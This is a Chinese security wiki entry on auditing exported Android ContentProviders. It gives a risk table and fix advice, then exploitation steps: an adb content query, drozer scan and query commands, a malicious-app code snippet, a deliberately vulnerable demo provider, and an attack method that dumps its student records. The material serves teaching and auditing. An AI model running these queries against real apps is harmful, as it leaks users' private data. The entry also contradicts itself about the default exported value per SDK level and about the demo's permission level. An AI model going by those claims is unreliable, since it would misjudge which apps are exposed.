WIKI

7.2 ContentProvider组件导出检测

(1)描述

provider组件导出可能会带来信息泄露隐患。api level17以下的所有应用的android:exported属性默认值为true,17及以上默认值为false

(2)风险等级

提醒

(3)影响范围

api level17以下的所有应用的android:exported属性默认值为true,17及以上默认值为false

(4)检测方法

检测类型:动态分析

先检测组件的exported属性,再检测组件permissionreadPermissionwritePermissio对应的protectionlevel,最后再检测sdk版本。

 

ContentProvider组件

exported=”true”

设置了android:permission

protectionLevel属性值为signaturesignatureOrSystem

safe

protectionLevel属性值为normaldangerous

高危

未设置android:permission

高危

exported=”false”

设置了android:permission

safe

未设置android:permission

safe

exported属性未设置

设置了android:permission

protectionLevel属性值为signaturesignatureOrSystem

safe

protectionLevel属性值为normaldangerous

Target sdk >= 17

(exported默认为true)

Safe

Target sdk < 17

(exported默认为false)

高危

未设置android:permission

 

Target sdk >= 17

(exported默认为true)

Safe

 

Target sdk < 17

(exported默认为false)

高危

(5)修复建议

ü  最小化组件暴露。对不会参与跨应用调用的组件添加android:exported=”false”属性。

ü  设置组件访问权限。对导出的provider组件设置权限,同时将权限的protectionLevel设置为”signature””signatureOrSystem”

ü  由于Contentprovider无法在android2.2API-8)申明为私有。故建议将min sdk设为8以上。

(6)漏洞利用

0x01 使用adb攻击

content query --uri content://com.isi.contentprovider.MyProvider/udetails

 

0x02 使用恶意应用攻击

ContentResolver contentResolver = getContentResolver();

Uri uri = Uri.parse("content://com.isi.contentprovider.MyProvider/udetails");

Cursor cursor = contentResolver.query(uri, null, null, null, null);

while(cursor.moveToNext()){

    String name = cursor.getString(cursor.getColumnIndex("name"));

    Log.d("wgc","用户名:"+name);

}

 

0x03 使用drozer攻击

run scanner.provider.finduris -a com.isi.contentprovider

获取到可以访问的uri

再一个个访问:

run app.provider.query content://com.isi.contentprovider.MyProvider/udetails

run app.provider.query content://com.isi.contentprovider.MyProvider/udetails/

实例Demo

0x01:漏洞代码:

1StudentsProvider继承ContentProvider

public class StudentsProvider extends ContentProvider {

    static final String PROVIDER_NAME = "com.example.provider.College";;

    static final String URL = "content://" + PROVIDER_NAME + "/students";

    static final Uri CONTENT_URI = Uri.parse(URL);

 

    static final String _ID = "_id";

    static final String NAME = "name";

    static final String GRADE = "grade";

 

    private static HashMap<String, String> STUDENTS_PROJECTION_MAP;

 

    static final int STUDENTS = 1;

    static final int STUDENT_ID = 2;

 

    static final UriMatcher uriMatcher;

    static {

        uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);

        uriMatcher.addURI(PROVIDER_NAME, "students", STUDENTS);

        uriMatcher.addURI(PROVIDER_NAME, "students/#", STUDENT_ID);

    }

 

    private SQLiteDatabase db;

    static final String DATABASE_NAME = "College";

    static final String STUDENTS_TABLE_NAME = "students";

    static final int DATABASE_VERSION = 1;

    static final String CREATE_DB_TABLE = " CREATE TABLE "

            + STUDENTS_TABLE_NAME + " (_id INTEGER PRIMARY KEY AUTOINCREMENT, "

            + " name TEXT NOT NULL, " + " grade TEXT NOT NULL);";

 

    private static class DatabaseHelper extends SQLiteOpenHelper {

 

        public DatabaseHelper(Context context) {

            super(context, DATABASE_NAME, null, DATABASE_VERSION);

        }

 

        @Override

        public void onCreate(SQLiteDatabase db) {

            db.execSQL(CREATE_DB_TABLE);

        }

 

        @Override

        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {

            db.execSQL("DROP TABLE IF EXISTS " + STUDENTS_TABLE_NAME);

            onCreate(db);

        }

    }

 

    @Override

    public boolean onCreate() {

        Context context = getContext();

        DatabaseHelper dbHelper = new DatabaseHelper(context);

 

        db = dbHelper.getWritableDatabase();

 

        return (db == null) ? false : true;

    }

 

    @Override

    public Cursor query(Uri uri, String[] projection, String selection,

            String[] selectionArgs, String sortOrder) {

        SQLiteQueryBuilder qb = new SQLiteQueryBuilder();

        qb.setTables(STUDENTS_TABLE_NAME);

 

        switch (uriMatcher.match(uri)) {

        case STUDENTS:

            qb.setProjectionMap(STUDENTS_PROJECTION_MAP);

            break;

        case STUDENT_ID:

            qb.appendWhere(_ID + "=" + uri.getPathSegments().get(1));

            break;

        default:

            throw new IllegalArgumentException("Unknown URI " + uri);

        }

        if (sortOrder == null | sortOrder == "") {

            sortOrder = NAME;

        }

        Cursor c = qb.query(db, projection, selection, selectionArgs, null,

                null, sortOrder);

        c.setNotificationUri(getContext().getContentResolver(), uri);

        return c;

    }

 

    @Override

    public String getType(Uri uri) {

        switch (uriMatcher.match(uri)) {

        /**

         * Get all student records

         */

        case STUDENTS:

            return "vnd.android.cursor.dir/vnd.example.students";

 

            /**

             * Get a particular student

             */

        case STUDENT_ID:

            return "vnd.android.cursor.item/vnd.example.students";

 

        default:

            throw new IllegalArgumentException("Unsupported URI: " + uri);

        }

    }

 

    @Override

    public Uri insert(Uri uri, ContentValues values) {

        long rowID = db.insert(STUDENTS_TABLE_NAME, "", values);

        if (rowID > 0) {

            Uri _uri = ContentUris.withAppendedId(CONTENT_URI, rowID);

            getContext().getContentResolver().notifyChange(_uri, null);

            return _uri;

        }

 

        throw new SQLException("Failed to add a record into " + uri);

    }

 

    @Override

    public int delete(Uri uri, String selection, String[] selectionArgs) {

        int count = 0;

        switch (uriMatcher.match(uri)) {

        case STUDENTS:

            count = db.delete(STUDENTS_TABLE_NAME, selection, selectionArgs);

            break;

        case STUDENT_ID:

            String id = uri.getPathSegments().get(1);

            count = db.delete(STUDENTS_TABLE_NAME, _ID

                    + " = "

                    + id

                    + (!TextUtils.isEmpty(selection) ? " AND (" + selection

                            + ')' : ""), selectionArgs);

            break;

        default:

            throw new IllegalArgumentException("Unknown URI " + uri);

        }

        getContext().getContentResolver().notifyChange(uri, null);

        return count;

    }

 

    @Override

    public int update(Uri uri, ContentValues values, String selection,

            String[] selectionArgs) {

        int count = 0;

 

        switch (uriMatcher.match(uri)) {

        case STUDENTS:

            count = db.update(STUDENTS_TABLE_NAME, values, selection,

                    selectionArgs);

            break;

 

        case STUDENT_ID:

            count = db.update(

                    STUDENTS_TABLE_NAME,

                    values,

                    _ID

                            + " = "

                            + uri.getPathSegments().get(1)

                            + (!TextUtils.isEmpty(selection) ? " AND ("

                                    + selection + ')' : ""), selectionArgs);

            break;

 

        default:

            throw new IllegalArgumentException("Unknown URI " + uri);

        }

        getContext().getContentResolver().notifyChange(uri, null);

        return count;

    }

 

}

2MainActivity.java

public class MainActivity extends Activity {

 

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

    }

 

    public void onClickAddName(View view) {

        // Add a new student record

        ContentValues values = new ContentValues();

 

        values.put(StudentsProvider.NAME,

                ((EditText) findViewById(R.id.editText2)).getText().toString());

 

        values.put(StudentsProvider.GRADE,

                ((EditText) findViewById(R.id.editText3)).getText().toString());

 

        Uri uri = getContentResolver().insert(StudentsProvider.CONTENT_URI,

                values);

 

        Toast.makeText(getBaseContext(), uri.toString(), Toast.LENGTH_LONG)

                .show();

    }

 

    public void onClickRetrieveStudents(View view) {

 

        // Retrieve student records

        String URL = "content://com.example.provider.College/students";

 

        Uri students = Uri.parse(URL);

        Cursor c = managedQuery(students, null, null, null, "name");

 

        if (c.moveToFirst()) {

            do {

                Toast.makeText(

                        this,

                        c.getString(c.getColumnIndex(StudentsProvider._ID))

                                + ", "

                                + c.getString(c

                                        .getColumnIndex(StudentsProvider.NAME))

                                + ", "

                                + c.getString(c

                                        .getColumnIndex(StudentsProvider.GRADE)),

                        Toast.LENGTH_SHORT).show();

            } while (c.moveToNext());

        }

    }

 

}

3AndroidManifest.xml备注:在API-17以下的Android版本,4.2以上版本默认exported属性是false,之前版本默认是true,所以如果是在4.2以上的系统,需要添加exported=”true”属性

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.bug.contentprovider"

    android:versionCode="1"

    android:versionName="1.0" >

 

    <uses-sdk

        android:minSdkVersion="14"

        android:targetSdkVersion="21" />

 

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <provider

            android:name="com.bug.contentprovider.StudentsProvider"

            android:authorities="com.example.provider.College"

            android:permission="com.bug.contentprovider.android.permission.PERMISSION_REWRITE" >

        </provider>

 

        <activity

            android:name=".MainActivity"

            android:label="@string/app_name" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

 

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

    </application>

 

</manifest>

4)运行结果

  

0x02:攻击代码:

由上面的清单文件可以看出ContentProvider的权限仅仅只是”dangerous”,其他的app可以通过该组建获得敏感数据。攻击代码如下:

private void attack(){

 

        int i = 0;

        ContentResolver contentresolver = getContentResolver();

        Uri uri = Uri.parse("content://com.example.provider.College/students/");

        Cursor cursor = contentresolver.query(uri, null, null, null, null);

 

        do{

 

            if (!cursor.moveToNext()){

 

                Log.i("TEST", String.valueOf(i));

                return;

            }

 

            Log.i("TEST",

                    (new StringBuilder("id=")).append(cursor.getInt(0))

                            .append(",name=").append(cursor.getString(1))

                            .append(",grade=").append(cursor.getString(2))

                            .toString());

 

            i++;

        } while (true);

    }

下面是利用上面攻击代码后获取到的数据:

(7)样例分析

http://www.wooyun.org/bugs/wooyun-2014-057590

http://www.wooyun.org/bugs/wooyun-2013-039697

http://drops.wooyun.org/tips/4314

http://www.wooyun.org/bugs/wooyun-2013-041595

https://www.nowsecure.com/blog/2013/10/04/ebay-for-android-content-provider-injection-vulnerability/

http://www.wooyun.org/bugs/wooyun-2010-0154397

http://www.wooyun.org/bugs/wooyun-2010-021089

http://www.wooyun.org/bugs/wooyun-2010-016854

(8)参考资料

http://wolfeye.baidu.com/blog/local-dos/

http://jaq.alibaba.com/blog.htm?sapm=0.0.0.0.Wz4OeC&id=55

http://drops.wooyun.org/mobile/16382

http://drops.wooyun.org/tips/4314

https://manifestsecurity.com/android-application-security-part-15/

http://wolfeye.baidu.com/blog/content-provider-file-traversal/

http://developer.android.com/intl/zh-cn/reference/android/content/ContentProvider.html

http://www.wooyun.org/bugs/wooyun-2013-039697

https://www.securecoding.cert.org/confluence/display/android/DRD01-X.+Limit+the+accessibility+of+an+app%27s+sensitive+content+provider